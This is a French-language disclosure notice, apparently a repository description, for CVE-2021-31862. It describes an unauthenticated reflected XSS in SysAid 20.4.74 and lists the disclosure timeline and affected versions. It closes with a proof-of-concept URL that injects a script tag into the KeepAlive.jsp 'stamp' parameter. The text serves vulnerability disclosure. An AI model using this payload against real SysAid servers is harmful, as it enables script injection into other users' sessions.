robertdra/cve-2021-31862Exploit de preuve de concept pour une XSS réfléchie dans SysAid 20.4.74 via le paramètre KeepAlive.jsp, ne nécessitant aucune authentification. Inclut l'URL vulnérable et la chronologie de la divulgation.
SysAid 20.4.74 permet une XSS réfléchie via le paramètre KeepAlive.jsp, sans authentification.
Chronologie
Découverte : 28 avril 2021
Premier contact avec le fournisseur : 28 avril 2021
Signalement : 28 avril 2021
Attribution de l'ID CVE : 28 avril 2021
Deuxième contact avec le fournisseur (le fournisseur n'a pas répondu au premier contact) : 28 mai 2021
Publication publique : 29 octobre 2021
Versions concernées :
20.4.74 et versions antérieures
Crédit :
Citadel Cyber Security (https://www.citadel.co.il/)
Exploit POC :
Le chemin d'URL et les paramètres de requête suivants déclencheront une vulnérabilité XSS.
/KeepAlive.jsp?stamp=<script>alert(1)</script>&tabID=10&lastClick=1618311643298
